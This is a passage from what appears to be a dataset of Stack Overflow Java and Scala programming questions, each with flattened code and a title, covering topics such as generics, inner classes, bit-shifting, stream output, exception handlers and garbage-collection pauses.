portion\nActual result was 1/20 of the cup , the wheel dispenser hardly released any kibbles\n\ntestcase three\n\ndo program dinner meal\ndo program time\ndo leave the portion size the same - 1/4 of the cup\n\ncheck the portion dispensed 1/4 cup of kibbles\n do collect kibbles from the bowl and measure the dinner portion\nActual result was less than 1/4 cup\n\nWhy was the middle meal the smallest ? Is lunch always the smallest ? \nTo prove this hypothesis , repeat first three test cases again.\n\ntestcase four\ndo repeat test case one\nActual result - it was less 1/4 and the portion was dispensed in two increments.\n\ntestcase five\ndo repeat test case two\nActual result - 1/8 of the cup.\n\ntestcase six\ndo repeat test case three\nActual result - 1/2 cup ! The wheel rotated almost twice . It looked like all\n kibbles which were not dispensed previously , got released.\n Lunch was still the smallest meal , but the dinner portion was twice of the size\n.All three tests must be repeated again.\n\ntestcase seven\ndo repeat test case one\nActual result - 1/4 of the cup . Great ! \n\ntestcase eight\ndo repeat test case two\nActual result - 1/4 of the cup ! It works perfectly ! Why ? \n\ntestcase nine\ndo repeat test case three\nActual result - 1/6 , so the third meal was less than it should be . Is this size of the portion hard to dispense correctly ? Let 's try 1/2 of the cup\n\ntestcase ten\ndo program breakfast meal\ndo program time\ndo program 1/2 of the cup\ncheck the amount of kibbles dispensed is 1/2 of the cup\nActual result - 1/2 of the cup . Excellent . The wheel rotated twice as designed . In a minute it added 1/4 of the cup.\n\ntestcase eleven\ndo program lunch meal\ndo program time\ndo leave the portion size the same\ncheck the amount of kibbles dispensed is 1/2 of the cup\nActual result - 1/3 of the cup . Lunch is smaller again.\n\testcase twelve\ndo program dinner meal\ndo program time\ndo leave the portion size the same - 1/2 of the cup\ncheck the amount of kibbles dispensed is 1/2 of the cup\nActual result - 1/2 , the portion was dispensed in 2 increments with the interval . As there is no consistency again , let test this portion size one more time.\n \ntestcase thirteen\ndo repeat test case ten\ncheck the amount of kibbles is 1/2 of the cup\nActual result - a bit less than 1/2\n\n\ntestcase fourteen\ndo repeat test case eleven\ncheck the portion size is 1/2 of the cup\nActual result - a bit more than 1/2 . This portion size looks more stable . The lunch is n't the smallest anymore.\n\ntestcase fiftee\ndo repeat test case twelve\ncheck portion size is 1/2 of the cup\nActual result - is l/2 , a bit less of the exact amount . All three meals were served with almost correct portion size.\n\n\n- \n\n\n '' ) ; mainPanel.add ( new JScrollPane ( textPane ) , BorderLayout.CENTER ) ; setContentPane ( mainPanel ) ; } public static void main ( String [ ] args ) { CPerfJava7_justSetCharacterAttributes frame ; WindowListener exitListener = new WindowAdapter ( ) { @ Override public void windowClosing ( WindowEvent e ) { Window window = e.getWindow ( ) ; window.setVisible ( false ) ; window.dispose ( ) ; System.exit ( 0 ) ; } } ; frame = new CPerfJava7_justSetCharacterAttributes ( ) ; frame.addWindowListener ( exitListener ) ; frame.setPreferredSize ( new Dimension ( 600 , 400 ) ) ; frame.pack ( ) ; frame.setVisible ( true ) ; try { // run it to warm it up frame.docu.doParse ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } /* + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + | Class : CPseudoHtmlDocument | + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + */ @ SuppressWarnings ( `` serial '' ) public class CPseudoHtmlDocument extends DefaultStyledDocument { private final SimpleAttributeSet attrDefault = new SimpleAttributeSet ( ) ; public CPseudoHtmlDocument ( ) { StyleConstants.setForeground ( attrDefault , new Color ( 150 , 150 , 0 ) ) ; StyleConstants.setBold ( attrDefault , true ) ; } public long getCurrentTimeMillis ( ) { Calendar now = Calendar.getInstance ( ) ; return now.getTimeInMillis ( ) ; } private void doParse ( ) { long before = getCurrentTimeMillis ( ) ; for ( int k=0 ; k < 5 ; k++ ) { for ( int i = 0 ; i < = 3260 ; i+=1 ) { setStyle ( i , i+1 ) ; } } long after = getCurrentTimeMillis ( ) ; System.err.println ( `` - > time to parse : `` + ( after-before ) + `` ms '' ) ; } private void setStyle ( int startTag , int stopTag ) { int tagLength = stopTag-startTag+1 ; setCharacterAttributes ( startTag , tagLength , attrDefault , true ) ; } } } public void remove ( int offset , int length ) throws BadLocationException { // start by removing normally the string using the default styled document try { super.remove ( offset , length ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } int caretPosition = textPane.getCaretPosition ( ) ; textPane.setDocument ( new DefaultStyledDocument ( ) ) ; // DO HERE THE TIME-CONSUMING TASKS THAT APPLY SOME STYLES ON THE CURRENT DOCUMENT textPane.setDocument ( this ) ; textPane.setCaretPosition ( caretPosition ) ; }",Java 7 is 8x slower than Java 6 on some basic parsing tasks +Java,"I 'm a long time ( 8 years ) C # developer dabbling in a little android development . This is the first time I 've used Java and am having a little trouble shifting my mindset when it comes to inner classes.I 'm trying to write a class to wrap an RESTful API to execute various calls on the server from one typesafe place , e.g . And I want to use a AsyncTask to get stuff in the background.So one way is this - have the AsyncTask in the APIWrapper : I 'm not sure the callback / delegate idea works in Java anyway ! The other way is to have the AsyncTask in the Activity and create the APIWrapper to just get the data like a worker / helper : Can anyone help me make the right choice ?","string jsonResult = APIWrapper.getItems ( `` category 1 '' ) ; class ActivityA extends Activity { myButton.setOnClickListener ( new OnClickListener ( ) { public void onClick ( View v ) { //get stuff and use the onPostExecute inside the APIWrapper new APIWrapper ( ) .GetItems ( `` Category A '' , MyGetItemsCallBack ) ; } } ) ; function void MyGetItemsCallBack ( String result ) { //render the result in the activity context , in a listview or something } } class ActivityA extends Activity { myButton.setOnClickListener ( new OnClickListener ( ) { public void onClick ( View v ) { //get stuff and use the onProcessComplete inside the APIWrapper new GetItems ( `` Category A '' ) ; } } ) ; class GetItems ( String theCategory ) extends AsyncTask { doInBackground ( ) { return new APIWrapper ( ) .GetItems ( theCategory ) ; } onPostExecute ( String result ) { //render the result in the activity context , in a listview or something } } }",How can I reuse an inner class in Java / Android ? +Java,"Here are two examplesMap value as Single valueMap value as ArrayPrimitive wrappers are forced on single value , but primitive arrays are allowed , why is that ? Sub question : Is it possible to use single value primitives with a Map ?","private Map < Short , Boolean > _Booleans = new HashMap < Short , Boolean > ( ) ; //worksprivate Map < Short , boolean > _Booleans = new HashMap < Short , boolean > ( ) ; //not allowed private Map < Short , Boolean [ ] > _Booleans = new HashMap < Short , Boolean [ ] > ( ) ; //worksprivate Map < Short , boolean [ ] > _Booleans = new HashMap < Short , boolean [ ] > ( ) ; //works !",Why java.util.Map value can be primitive array but not single primitive +Java,"Consider class OuterClass which has InnerClassAnd the second class , which is trying to extend InnerClass of OuterClassSo far so good , this code will work , compiler should not give warnings . But I am trying to understand - why is that necessary to pass to constructor reference of OuterClass ? and why is that necessary to call it 's super constructor ? I want to understand why is it has to be exact this way ? Also , consider this class ( not related to previous ones ) in which classes Apartments and Hall are inner classes to Building class which is inner to Solution ( innerception ) .Then there goes top-level class which is trying to extend inner inner class HallLook at this mess . Last two classes should compile as well , but can you clear it up for me , why BigHall class when extending inner inner class Hall does need to pass to constructor reference to Building object instead of Solution object ? If you can provide quotation from JLS that 'd be great !","public class OuterClass { class InnerClass { } } public class Clazz extends OuterClass.InnerClass { public Clazz ( OuterClass outerClass ) { outerClass.super ( ) ; } } public class Solution { public class Building { public class Hall { private BigDecimal square ; public Hall ( BigDecimal square ) { this.square = square ; } } public class Apartments { } } } class BigHall extends Solution.Building.Hall { public BigHall ( Solution.Building building , BigDecimal square ) { building.super ( square ) ; } }",Why does a subclass of an inner class require an enclosing instance ? +Java,"If you run Strange1 and Strange2 after deleting Missing.class , Strange1 will throw NoClassDefFoundError ; but Strange2 will print Got it!Can anyone explain that ? Thanks.updated : java bytecode for Strange1 : java bytecode for Strange2 : There is only one place is different : and updated again : Everyone can try it in eclipse .","public class Strange1 { public static void main ( String [ ] args ) { try { Missing m = new Missing ( ) ; } catch ( java.lang.NoClassDefFoundError ex ) { System.out.println ( `` Got it ! `` ) ; } } } public class Strange2 { public static void main ( String [ ] args ) { Missing m ; try { m = new Missing ( ) ; } catch ( java.lang.NoClassDefFoundError ex ) { System.out.println ( `` Got it ! `` ) ; } } } class Missing { Missing ( ) { } } 0 new info.liuxuan.test.Missing [ 16 ] 3 dup 4 invokespecial info.liuxuan.test.Missing ( ) [ 18 ] 7 astore_1 [ m ] 8 goto 20 11 astore_1 [ ex ] 12 getstatic java.lang.System.out : java.io.PrintStream [ 19 ] 15 ldc < String `` Got it ! `` > [ 25 ] 17 invokevirtual java.io.PrintStream.println ( java.lang.String ) : void [ 27 ] 20 return Exception Table : [ pc : 0 , pc : 8 ] - > 11 when : java.lang.NoClassDefFoundError Line numbers : [ pc : 0 , line : 14 ] [ pc : 11 , line : 15 ] [ pc : 12 , line : 16 ] [ pc : 20 , line : 18 ] Local variable table : [ pc : 0 , pc : 21 ] local : args index : 0 type : java.lang.String [ ] [ pc : 8 , pc : 11 ] local : m index : 1 type : info.liuxuan.test.Missing [ pc : 12 , pc : 20 ] local : ex index : 1 type : java.lang.NoClassDefFoundError 0 new info.liuxuan.test.Missing [ 16 ] 3 dup 4 invokespecial info.liuxuan.test.Missing ( ) [ 18 ] 7 astore_1 [ m ] 8 goto 20 11 astore_2 [ ex ] 12 getstatic java.lang.System.out : java.io.PrintStream [ 19 ] 15 ldc < String `` Got it ! `` > [ 25 ] 17 invokevirtual java.io.PrintStream.println ( java.lang.String ) : void [ 27 ] 20 return Exception Table : [ pc : 0 , pc : 8 ] - > 11 when : java.lang.NoClassDefFoundError Line numbers : [ pc : 0 , line : 15 ] [ pc : 11 , line : 16 ] [ pc : 12 , line : 17 ] [ pc : 20 , line : 19 ] Local variable table : [ pc : 0 , pc : 21 ] local : args index : 0 type : java.lang.String [ ] [ pc : 8 , pc : 11 ] local : m index : 1 type : info.liuxuan.test.Missing [ pc : 12 , pc : 20 ] local : ex index : 2 type : java.lang.NoClassDefFoundError 11 astore_1 [ ex ] 11 astore_2 [ ex ]",Tricky try-catch java code +Java,"I 'm relatively new to java , and the passing by reference without pointers confuses me a little . I wrote a function for homework that requires me to return the length of user input , and assign use input to an array that is passed in , when the method exits the user input array is lost , what is wrong .","public static int readArray ( char [ ] intoArray ) { char [ ] capture = captureInputAsCharArray ( ) ; //User input comes back as char [ ] System.arraycopy ( intoArray,0 , capture , 0 , capture.length ) ; return capture.length ; } public static main ( String [ ] args ) { size = readArray ( arrItem7 ) ; // item 7 System.out.println ( size ) ; printOneInLine ( arrItem7 ) ; // prints individual elements of array }",Java array is lost when exiting method +Java,"Task : Write a Java application that creates a file on your local file system which contains 10000 randomly generated integer values between 0 and 100000 . Try this first using a byte-based stream and then instead by using a char-based stream . Compare the file sizes created by the two different approaches.I made the byte-based stream . After I run this program , in fileOutput I get some weird symbols . Am I doing something wrong ? When I 'm using char-based stream it works :",import java.io.File ; import java.io.FileOutputStream ; import java.io.IOException ; import java.util.Random ; public class Bytebased { public static void main ( String [ ] args ) throws IOException { File outFile = new File ( `` fileOutput.txt '' ) ; FileOutputStream fos = new FileOutputStream ( outFile ) ; Random rand = new Random ( ) ; int x ; for ( int i=1 ; i < =10001 ; i++ ) { x = rand.nextInt ( 10001 ) ; fos.write ( x ) ; } fos.close ( ) ; } } import java.io.File ; import java.io.FileWriter ; import java.io.IOException ; import java.util.Random ; public class Charbased { public static void main ( String [ ] args ) throws IOException { File outFile = new File ( `` fileOutput2.txt '' ) ; FileWriter fw = new FileWriter ( outFile ) ; Random rand = new Random ( ) ; int x ; String y ; for ( int i=1 ; i < =10001 ; i++ ) { x = rand.nextInt ( 10001 ) ; y=x + `` `` ; fw.write ( y ) ; } fw.close ( ) ; } },"Strange symbols when using byte-based FileOutputStream , char-based FileWriter is OK" +Java,Some time ago I discovered the Scala Async Project . The question is : what is so magical in this async blocks which can not be implemented via plain functions ( without macro expansion ) ? Let 's look at the first example from the introduction : I do not see anything in the above example which can not be written in pure Java . This code does exactly the same thing : What can Scala async do that Java ca n't ? Maybe in case of some more complex scenarios ? What do I miss ?,"import ExecutionContext.Implicits.globalimport scala.async.Async . { async , await } val future = async { val f1 = async { ... ; true } val f2 = async { ... ; 42 } if ( await ( f1 ) ) await ( f2 ) else 0 } import java.util.concurrent . * ; import java.util.function.Supplier ; // First define a helper method for creating async blocks : public static < T > ForkJoinTask < T > async ( Supplier < T > supplier ) { return new RecursiveTask < T > ( ) { @ Override protected T compute ( ) { return supplier.get ( ) ; } } .fork ( ) ; } ForkJoinTask < Integer > future = ForkJoinPool.commonPool ( ) .submit ( ( ) - > { ForkJoinTask < Boolean > f1 = async ( ( ) - > true ) ; ForkJoinTask < Integer > f2 = async ( ( ) - > 42 ) ; if ( f1.join ( ) ) { return f2.join ( ) ; } else { return 42 ; } } ) ;",Scala async vs. Java ForkJoinTask +Java,"In Java 8 ConcurrentHashMap had two new methods introduced viz . forEach and forEachEntry.On closer look both of them have essentially same arguments - forEach has key & value supplied via BiConsumer while forEachEntry has Map.Entry supplied via Consumer from where key & value can be derived.A simple use case to print all the map entries can be implemented by either of them as below Moreover from docs the Map.Entry.setValue is n't supported for bulk operation ; so the benefit of having the Map.Entry over plain key-value seems defeated . ... . that may transiently change while computation is in progress ; and except for forEach actions , should ideally be side-effect-free . Bulk operations on Map.Entry objects do not support method setValue.Thus IMO two methods can be used interchangeably ( unless I miss something very obvious ) So my questions are Why two methods with essentially same signature were introduced If there are any differences what are theyWhat benefit does one method have over another ( a simple use case explaining them would suffice )","ConcurrentHashMap < String , Integer > map = Stream.of ( `` One '' , `` Two '' , `` Three '' , `` Four '' , `` Five '' ) . collect ( Collectors.toConcurrentMap ( str - > str , str - > str.length ( ) , ( str , len ) - > len , ConcurrentHashMap : :new ) ) ; map.forEach ( 1 , ( k , v ) - > System.out.println ( k + `` `` + v ) ) ; map.forEachEntry ( 1 , entry - > System.out.println ( entry.getKey ( ) + `` `` + entry.getValue ( ) ) ) ;",What is the difference between forEach and forEachEntry in ConcurrentHashMap +Java,"I 'm trying to handle uncaught exceptions on the main thread in my application so I can log them to a file ( my app is a command line app which runs on an overnight job , so if something goes wrong I want admins to be able to easily see exceptions ) . I 've reduced this to as simple a test case as I can.Maven app generated with ( as per the getting started docs ) : App.java : Running with mvn exec : java produces : The same code run as a simple Java app works fine . App.java : Running javac App.java & & java App produces : I suspect the advice to be given is `` you should n't have any uncaught exceptions '' , but I 'm not sure I guarantee that and am curious in any case as to the difference between the Maven and non-Maven results .","mvn -B archetype : generate \ -DarchetypeGroupId=org.apache.maven.archetypes \ -DgroupId=com.mycompany.app \ -DartifactId=my-app package com.mycompany.app ; public class App { public static void main ( String [ ] args ) throws Exception { Thread.currentThread ( ) .setUncaughtExceptionHandler ( new Thread.UncaughtExceptionHandler ( ) { public void uncaughtException ( Thread t , Throwable e ) { System.out.println ( `` Handled exception - let 's log it ! `` ) ; // Logging code here } } ) ; System.out.println ( `` Exception testing '' ) ; throw new Exception ( `` Catch and log me ! `` ) ; } } [ INFO ] Error stacktraces are turned on . [ INFO ] Scanning for projects ... [ WARNING ] [ WARNING ] Some problems were encountered while building the effective model for com.mycompany.app : my-app : jar:1.0-SNAPSHOT [ WARNING ] 'build.plugins.plugin.version ' for org.codehaus.mojo : exec-maven-plugin is missing . @ line 20 , column 15 [ WARNING ] [ WARNING ] It is highly recommended to fix these problems because they threaten the stability of your build . [ WARNING ] [ WARNING ] For this reason , future Maven versions might no longer support building such malformed projects . [ WARNING ] [ INFO ] [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] Building my-app 1.0-SNAPSHOT [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] [ INFO ] -- - exec-maven-plugin:1.4.0 : java ( default-cli ) @ my-app -- -Exception testing [ WARNING ] java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:57 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:606 ) at org.codehaus.mojo.exec.ExecJavaMojo $ 1.run ( ExecJavaMojo.java:293 ) at java.lang.Thread.run ( Thread.java:745 ) Caused by : java.lang.Exception : Catch and log me ! at com.mycompany.app.App.main ( App.java:14 ) ... 6 more [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] BUILD FAILURE [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] Total time : 0.493 s [ INFO ] Finished at : 2015-10-26T10:57:00+00:00 [ INFO ] Final Memory : 8M/240M [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ ERROR ] Failed to execute goal org.codehaus.mojo : exec-maven-plugin:1.4.0 : java ( default-cli ) on project my-app : An exception occured while executing the Java class . null : InvocationTargetException : Catch and log me ! - > [ Help 1 ] org.apache.maven.lifecycle.LifecycleExecutionException : Failed to execute goal org.codehaus.mojo : exec-maven-plugin:1.4.0 : java ( default-cli ) on project my-app : An exception occured while executing the Java class . null at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:216 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:153 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:145 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:116 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:80 ) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build ( SingleThreadedBuilder.java:51 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute ( LifecycleStarter.java:128 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:307 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:193 ) at org.apache.maven.DefaultMaven.execute ( DefaultMaven.java:106 ) at org.apache.maven.cli.MavenCli.execute ( MavenCli.java:862 ) at org.apache.maven.cli.MavenCli.doMain ( MavenCli.java:286 ) at org.apache.maven.cli.MavenCli.main ( MavenCli.java:197 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:57 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:606 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced ( Launcher.java:289 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launch ( Launcher.java:229 ) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode ( Launcher.java:415 ) at org.codehaus.plexus.classworlds.launcher.Launcher.main ( Launcher.java:356 ) Caused by : org.apache.maven.plugin.MojoExecutionException : An exception occured while executing the Java class . null at org.codehaus.mojo.exec.ExecJavaMojo.execute ( ExecJavaMojo.java:345 ) at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo ( DefaultBuildPluginManager.java:134 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:208 ) ... 20 moreCaused by : java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:57 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:606 ) at org.codehaus.mojo.exec.ExecJavaMojo $ 1.run ( ExecJavaMojo.java:293 ) at java.lang.Thread.run ( Thread.java:745 ) Caused by : java.lang.Exception : Catch and log me ! at com.mycompany.app.App.main ( App.java:14 ) ... 6 more public class App { public static void main ( String [ ] args ) throws Exception { Thread.currentThread ( ) .setUncaughtExceptionHandler ( new Thread.UncaughtExceptionHandler ( ) { public void uncaughtException ( Thread t , Throwable e ) { System.out.println ( `` Handled exception - let 's log it ! `` ) ; // Logging code here } } ) ; System.out.println ( `` Exception testing '' ) ; throw new Exception ( `` Catch and log me ! `` ) ; } } Exception testingHandled exception - let 's log it !",setUncaughtExceptionHandler not working in Maven project +Java,"As far as I know , using an upper bounded generic and using a superclass as a method parameter both accept the same possible arguments . Which is preferred , and what 's the difference between the two , if any ? Upper bounded generic as parameter : Superclass as parameter :",public < T extends Foo > void doSomething ( T foo ) { } public void doSomething ( Foo foo ) { },Upper bounded generics VS superclass as method parameters ? +Java,"I was talking with my CompSci professor and he suggested that all String .equals methods be written as : rather than : Both of these lines compile , but I was wondering what are the benefits of the first way ? I 've always done it the latter way . Is this wrong ? What is common/conventional ?",`` Hello World '' .equals ( fooString ) ; fooString.equals ( `` Hello World '' ) ;,What is the proper way to use a .equals method in Java ? +Java,"From Arrays.java line 804-814As quoted above , it 's claiming of using Insertion Sort.However , I 'm taking it as Bubble Sort ? Which one it 's actually is , and why ?","/** * Sorts the specified sub-array of bytes into ascending order . */private static void sort1 ( byte x [ ] , int off , int len ) { // Insertion sort on smallest arraysif ( len < 7 ) { for ( int i=off ; i < len+off ; i++ ) for ( int j=i ; j > off & & x [ j-1 ] > x [ j ] ; j -- ) swap ( x , j , j-1 ) ; return ; }",Sorting algorithm of Arrays in Java.util package +Java,"As i understand new is a keyword and not a function.For exampleinstantiates the object a of type A.A keyword is not associated with any object per se.On the contrary , when we have in A a public inner class B we callHere it looks like new is a property of B and not an independent keyword.What is the meaning of A.new ?",A a = new A ( ) ; B b = a.new B ( ),what is java new ? A function or keyword +Java,Problem descriptionScala StringOps provides a lines method that returns an Iterator [ String ] .Java 11 added lines ( ) with return type java.Stream [ String ] .In a chained method call likethe code will no longer compile and throw an exeption that foldLeft is not defined on java.Stream [ String ] .As far as I understand the implicit resolution is no longer applied as the lines method now is already found in java.String.How can I express that I want the implicit to be applied ( the one without parens ) isntead of the java.String.lines ( ) Additional infoI found linesIterator but it is deprecated.Downgrading is an option but is there a way around it.val text : StringOps looks realy ugly but solved it but I am unhappy with this solution,val text : Stringtext.lines.foldLeft ( `` '' ) ( _ + _ ),"Scala 12.x and Java 11 ` String.lines ` , how to force the implicit conversion in a chained call ?" +Java,Please help me with this : If Lion IS-A Animal and given Cage < T > : butWhat I do n't see here ?,"Cage < ? extends Animal > c = new Cage < Lion > ( ) ; // ok , Set < Cage < ? extends Animal > > cc = new HashSet < Cage < Lion > > ( ) ; // not ok",Java Generic Collection of Generic Type with Bounded Wildcard +Java,"As I was using bit-shifting on byte , I notice I was getting weird results when using unsigned right shift ( > > > ) . With int , both right shift ( signed : > > and unsigned : > > > ) behave as expected : But when I do the same with byte , strange things happen with unsigned right shift : I figured that it could be that the compiler is converting the byte to int internally , but does not seem quite sufficient to explain that behaviour . Why is bit-shifting behaving that way with byte in Java ?",int min1 = Integer.MIN_VALUE > > 31 ; //min1 = -1 int min2 = Integer.MIN_VALUE > > > 31 ; //min2 = 1 byte b1 = Byte.MIN_VALUE ; //b1 = -128 b1 > > = 7 ; //b1 = -1 byte b2 = Byte.MIN_VALUE ; //b2 = -128 b2 > > > = 7 ; //b2 = -1 ; NOT 1 ! b2 > > > = 8 ; //b2 = -1 ; NOT 0 !,Weird behaviour of bit-shifting with byte in Java +Java,"Sometimes , on a test machine ( Windows ) , Java full GC takes over 20 seconds . The GC logs show that the real time is very high , user is also high , but not as high ( around 3 seconds ) . In one case , it is : What could be the reason ? I have a suspicion but do n't want to say right now.What is the easiest way to find out what the root cause is ? If you do n't know for Windows but know for Linux , that 's an option as well : the tests could be re-run on Linux.The process was started as follows : I do n't know why NewSize , XX : MaxNewSize and SurvivorRatio are used . MaxPermSize is needed because it 's an OSGi environment . Full thread dumps do n't show anything special.The complete log of full GCs is ( sorry , long ) :","21.2209796 secs [ Times : user=3.76 sys=0.45 , real=21.22 secs ] `` % JAVA_HOME % \bin\java.exe '' -verbose : gc -XX : +PrintGCDetails -XX : +PrintGCDateStamps -Xloggc : publish.gc.log -XX : PermSize=256m -XX : MaxPermSize=1024m -Xms1024m -Xmx3072m -XX : NewSize=352m -XX : MaxNewSize=352m -XX : SurvivorRatio=6 2014-05-06T21:38:18.735-0700 : 150.261 : [ Full GC [ PSYoungGen : 23614K- > 0K ( 309952K ) ] [ PSOldGen : 693188K- > 311405K ( 688128K ) ] 716802K- > 311405K ( 998080K ) [ PSPermGen : 45120K- > 45120K ( 262144K ) ] , 1.4533481 secs ] [ Times : user=1.45 sys=0.01 , real=1.45 secs ] 2014-05-06T21:38:58.379-0700 : 189.907 : [ Full GC [ PSYoungGen : 1664K- > 0K ( 335488K ) ] [ PSOldGen : 668139K- > 283959K ( 688128K ) ] 669803K- > 283959K ( 1023616K ) [ PSPermGen : 46688K- > 46688K ( 262144K ) ] , 1.3466773 secs ] [ Times : user=1.34 sys=0.00 , real=1.35 secs ] 2014-05-06T21:39:44.082-0700 : 235.613 : [ Full GC [ PSYoungGen : 15200K- > 0K ( 309184K ) ] [ PSOldGen : 668643K- > 292329K ( 740800K ) ] 683843K- > 292329K ( 1049984K ) [ PSPermGen : 47733K- > 47733K ( 262144K ) ] , 1.3649206 secs ] [ Times : user=1.36 sys=0.00 , real=1.37 secs ] 2014-05-06T21:40:33.090-0700 : 284.623 : [ Full GC [ PSYoungGen : 10132K- > 0K ( 326528K ) ] [ PSOldGen : 718669K- > 308144K ( 858368K ) ] 728802K- > 308144K ( 1184896K ) [ PSPermGen : 49596K- > 43403K ( 262144K ) ] , 1.2978991 secs ] [ Times : user=1.31 sys=0.02 , real=1.30 secs ] 2014-05-06T21:41:39.407-0700 : 350.943 : [ Full GC [ PSYoungGen : 37815K- > 0K ( 308160K ) ] [ PSOldGen : 842013K- > 560237K ( 1236160K ) ] 879828K- > 560237K ( 1544320K ) [ PSPermGen : 43807K- > 43807K ( 262144K ) ] , 1.2742777 secs ] [ Times : user=1.26 sys=0.00 , real=1.27 secs ] 2014-05-06T21:43:36.782-0700 : 468.324 : [ Full GC [ PSYoungGen : 640K- > 0K ( 329216K ) ] [ PSOldGen : 1233468K- > 536017K ( 1242944K ) ] 1234108K- > 536017K ( 1572160K ) [ PSPermGen : 44438K- > 44438K ( 262144K ) ] , 1.4105887 secs ] [ Times : user=1.42 sys=0.00 , real=1.41 secs ] 2014-05-06T21:44:28.404-0700 : 519.948 : [ Full GC [ PSYoungGen : 45056K- > 0K ( 315392K ) ] [ PSOldGen : 1196082K- > 481770K ( 1266240K ) ] 1241138K- > 481770K ( 1581632K ) [ PSPermGen : 56883K- > 56883K ( 262144K ) ] , 1.5773390 secs ] [ Times : user=1.58 sys=0.00 , real=1.58 secs ] 2014-05-06T21:44:51.101-0700 : 542.646 : [ Full GC [ PSYoungGen : 30000K- > 0K ( 315392K ) ] [ PSOldGen : 1213653K- > 330467K ( 1129664K ) ] 1243653K- > 330467K ( 1445056K ) [ PSPermGen : 106752K- > 105936K ( 262144K ) ] , 1.9804992 secs ] [ Times : user=1.97 sys=0.02 , real=1.98 secs ] 2014-05-06T21:45:33.230-0700 : 584.777 : [ Full GC [ PSYoungGen : 10301K- > 0K ( 319616K ) ] [ PSOldGen : 1105014K- > 404683K ( 1248192K ) ] 1115315K- > 404683K ( 1567808K ) [ PSPermGen : 122771K- > 122771K ( 262144K ) ] , 1.9884441 secs ] [ Times : user=2.00 sys=0.00 , real=1.99 secs ] 2014-05-06T21:46:24.169-0700 : 635.719 : [ Full GC [ PSYoungGen : 8805K- > 0K ( 331136K ) ] [ PSOldGen : 1226188K- > 506891K ( 1449856K ) ] 1234994K- > 506891K ( 1780992K ) [ PSPermGen : 140233K- > 140233K ( 262144K ) ] , 2.4515626 secs ] [ Times : user=2.45 sys=0.01 , real=2.45 secs ] 2014-05-06T21:47:34.131-0700 : 705.683 : [ Full GC [ PSYoungGen : 45054K- > 0K ( 315392K ) ] [ PSOldGen : 1412337K- > 452967K ( 1474560K ) ] 1457392K- > 452967K ( 1789952K ) [ PSPermGen : 141009K- > 141009K ( 262144K ) ] , 2.3155816 secs ] [ Times : user=2.31 sys=0.00 , real=2.32 secs ] 2014-05-06T21:48:17.036-0700 : 748.590 : [ Full GC [ PSYoungGen : 36896K- > 0K ( 315392K ) ] [ PSOldGen : 1392671K- > 354862K ( 1476608K ) ] 1429567K- > 354862K ( 1792000K ) [ PSPermGen : 141037K- > 140960K ( 262144K ) ] , 2.2993743 secs ] [ Times : user=2.28 sys=0.00 , real=2.30 secs ] 2014-05-06T21:49:23.816-0700 : 815.374 : [ Full GC [ PSYoungGen : 45036K- > 0K ( 315392K ) ] [ PSOldGen : 1454959K- > 348537K ( 1509824K ) ] 1499995K- > 348537K ( 1825216K ) [ PSPermGen : 140963K- > 140963K ( 262144K ) ] , 2.0907144 secs ] [ Times : user=2.09 sys=0.00 , real=2.09 secs ] 2014-05-06T22:04:38.728-0700 : 1729.490 : [ Full GC [ PSYoungGen : 8464K- > 0K ( 345344K ) ] [ PSOldGen : 1505186K- > 422020K ( 1583296K ) ] 1513651K- > 422020K ( 1928640K ) [ PSPermGen : 151404K- > 151404K ( 262144K ) ] , 3.2901866 secs ] [ Times : user=2.47 sys=0.00 , real=3.31 secs ] 2014-05-06T22:09:33.924-0700 : 